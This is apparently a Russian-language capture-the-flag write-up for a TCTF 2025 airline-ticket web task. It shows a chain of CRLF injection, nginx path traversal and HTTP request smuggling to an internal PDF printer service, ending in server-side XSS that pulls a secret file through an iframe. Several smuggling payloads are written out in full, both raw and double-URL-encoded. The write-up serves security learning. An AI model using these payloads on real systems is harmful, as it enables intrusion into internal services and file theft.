Капибардак | TCTF 2025
Вступление
Всем привет! Сегодня пробежимся по решению очень интересного таска с TCTF 2025
с весьма интересной цепочкой атаки.
Анализ приложения
Приложение представляет собой сервис для работы с авиабилетами. Можно пройти электронную регистрацию, зарегистрироваться в бизнес-зону и подать заявку на возврат билета:
При проведении электронной регистрации приложение возвращает нам PDF с нашим билетом:
При регистрации в бизнес-зал возвращает идентификатор бронирования
И при возврате билета – шаблонный ответ
В целом на этом все. Пару векторов на этом этапе мы уже успели прикинуть – Server Side XSS via Dynamic PDF
и XXE via DOCX upload
. Приступим к изучению кода.
Анализ исходников
Приложение представлено четырьмя сервисами – backend, printer, nginx, internal-balancer
В корне лежит /repair-code
– его-то нам и нужно достать по легенде задания. Первым делом посмотрим на потенциал для развития XXE
. За это отвечает функция process_booking()
из backend/main.py
Из кода видно, что приложение использует библиотеку python-docx
, которая по умолчанию отключает использование внешних сущностей, что режет нам потенциал развития XXE
.
Идем дальше – за бронирование бизнес-зала отвечает business_lounge()
:
Тоже ничего интересного. Последняя остановка – boarding_pass
:
Здесь уже интереснее. И пользовательский ввод, и обращение к внутреннему ресурсу. Учитывая, что наш ввод попадает на PDF, можно продолжить думать в сторону Server-Side XSS
. Однако шаблон пдфки вполне себе успешно экранирует получаемые данные:
В handlebars
шаблонах {{ }}
используются как обработчики для экранированного ввода, а {{{ }}}
– для неэкранированного. Однако в самом низу можно увидеть наличие кастомного обработчика trace
:
В pdf.js
можем увидеть реализацию этого кастомного обработчика:
Сама же функция генерации generateBoardingPass
импортируется в server.js
Анализируя код, можно придти к выводу, что сервер принимает boardingPassData
и использует эти данные при генерации тикета, вызывая функцию generateBoardingPass()
, при этом в генерации участвует кастомный обработчик trace
– рассмотрим его чуть подробнее.
server.js
принимает заголовок x-trace-id
и передает его в обработчик. Далее выполняется проверка условий – если значение заголовка имеет тип string
длиной 36 символов, выполняется return
БЕЗ ЭКРАНИРОВАНИЯ – и этот ввод попадает в наш итоговый PDF. Если заголовка нет либо он не удовлетворяет условиям – генерируется uuid
.
Как мы помним, в main.py
при генерации тикета заголовок x-trace-id
устанавливается явно с использованием библиотеки requests
– здесь мы бессильны. Значит чтобы получить ввод без экранирования, нужно отправить запрос на printer
в обход backend
. Но как, если api
закрыты и сервисы доступны только во внутренней подсети, а единственный интерфейс взаимодействия с ней – nginx
? Пришло время посмотреть на его конфигурацию.
Сам nginx.conf
перенаправляет запросы на внутренний балансировщик
В свою очередь балансировщик уже руководит общением между сервисами:
Выходит, нам нужно заслать запрос на printer/generate
, не обращаясь при этом к backend
и не имея доступа к внутренней сети сервисов. Уязвимость здесь кроется в том, как nginx обрабатывает запросы на API.
Эндпоинт, который вводит пользователь, напрямую попадает в URL на internal-balancer
. Однако что нам мешает провернуть такой фокус:
https:///t-bedlam-d0dw3v3n.spbctf.org/api/../generate
При парсинге запроса nginx отделит $uri
и направит его на internal-balancer
http://internal-balancer/../generate
При таком раскладе наш запрос напрямую попадет в printer
, ведь роут generate
сразу проксируется туда. Осталось лишь передать данные с заголовком x-trace-id
– как нам это сделать?
Здесь на помощь приходит атака под названием CRLF Injection
. Мы уже можем передавать спецсимволы в $uri
, но что нам мешает передать туда спецсимволы возврата каретки и newline – \n \r
? Да ничего =)
При помощи этой инъекции мы проводим атаку http smuggling
– контрабандой засылаем запрос на внутренний сервис в обход бекенда.
Составляем желаемый запрос с указанием traceid
– string
и 36 символов длиной:
POST /api/../generate HTTP/1.0 Host: printer Content-Length: 101 Content-Type: application/x-www-form-urlencoded X-Trace-Id: 123456-123456-123456-123456-123456-1 passenger=collapsz z&flight_number=1&date=1&seat=1&from=1&to=1&departure=1&arrival=1&gate=1&terminal=1
Далее нам необходимо заслать этот запрос через $uri
в nginx, для этого дважды кодируем этот запрос в URL, чтобы через два хопа наш запрос все еще был функциональным, получим следующее:
POST%2520%252Fapi%252F%252E%252E%252Fgenerate%2520HTTP%252F1%252E0%250AHost%253A%2520printer%250AContent%252DLength%253A%2520101%250AContent%252DType%253A%2520application%252Fx%252Dwww%252Dform%252Durlencoded%250AX%252DTrace%252DId%253A%2520%253Ciframe%2520src%253D%252Frepair%255Fcode%2520height%253D500%253E%250A%250Apassenger%253DJohn%2520Dowe%2526flight%255Fnumber%253D1%2526date%253D1%2526seat%253D1%2526from%253D1%2526to%253D1%2526departure%253D1%2526arrival%253D1%2526gate%253D1%2526terminal%253D1
И в самом конце запроса добавим легитимный:
GET /generate HTTP/2 Host: t-bedlam-d0dw3v3n.spbctf.org Accept-Encoding: gzip, deflate, br Accept: / Content-Length: 0
Итого наш пакет выглядит как-то так:
POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0AHost%3A%20printer%0AContent-Length%3A%20101%0AContent-Type%3A%20application/x-www-form-urlencoded%0AX-Trace-Id%3A%20%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%0A%0Apassenger%3DJohn%2BDowe%26flight_number%3D1%26date%3D1%26seat%3D1%26from%3D1%26to%3D1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2 Host: t-bedlam-d0dw3v3n.spbctf.org Accept-Encoding: gzip, deflate, br Accept: / Content-Length: 0
Подменяем содержимое запроса на то, что получили на предыдущем этапе и получаем какой-то PDF документ:
Открываем PDF и видим, что X-Trace-Id там именно тот, который мы указали в своем запросе! Таким образом мы нашли способ, как повлиять на содержимое переменной, которая целиком генерировалась на бекенде, отправив контрабандный запрос на printer
.
Такой трюк оказался возможен в связи с тем, что при парсинге нашего HTTP запроса nginx передал весь эндпоинт, идущий после /api на internal-balancer$uri. Далее при парсинге запроса сервер выполняет URL-декодирование и наш запрос рападается на два самостоятельных, один из которых будет обращаться к внутреннему ресурсу и, находясь в этой внутренней сети, без особых проблем его достигнет
Осталось лишь найти способ достать требуемый файл. Для этого докрутим ту самую Server-Side XSS
, поможет нам в этом элемент iframe
.
Готовим запрос с модифицированным X-Trace-Id: <iframe src=/repair_code onerror=12>
POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0AHost%3A%20printer%0AContent-Length%3A%20101%0AContent-Type%3A%20application/x-www-form-urlencoded%0AX-Trace-Id%3a%20%3ciframe%20src%3d%2frepair_code%20onerror%3d12%3e%0a%0apassenger%3dJohn%2BDowe%26flight_number%3D1%26date%3D1%26seat%3D1%26from%3D1%26to%3D1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2 Host: t-bedlam-d0dw3v3n.spbctf.org Accept-Encoding: gzip, deflate, br Accept: / Content-Length: 0
Доступ к файлику мы получили, однако видим лишь его часть:
Победить это можно, например, увеличив width до 1000:
POST /api%2F%2E%2E%2Fgenerate HTTP/1.0 Host: printer Content-Length: 101 Content-Type: application/x-www-form-urlencoded X-Trace-Id: <iframe src=/repair_code width=1000> passenger=John+Dowe&flight_number=1&date=1&seat=1&from=1&to=1&departure=1&arrival=1&gate=1&terminal=1
POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0aHost%3a%20printer%0aContent-Length%3a%20101%0aContent-Type%3a%20application%2fx-www-form-urlencoded%0aX-Trace-Id%3a%20%3ciframe%20src%3d%2frepair_code%20width%3d1000%3e%0a%0apassenger%3dJohn%2bDowe%26flight_number%3d1%26date%3d1%26seat%3d1%26from%3d1%26to%3d1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2 Host: t-bedlam-d0dw3v3n.spbctf.org Accept-Encoding: gzip, deflate, br Accept: / Content-Length: 0
Скачиваем PDF, открываем и видим там искомый файл:
Отправляем полученный код на /repair.html
Таким образом, выстроилась следующая цепочка:
CRLF Injection -> HTTP Smuggling -> Server-Side XSS via Dynamic PDF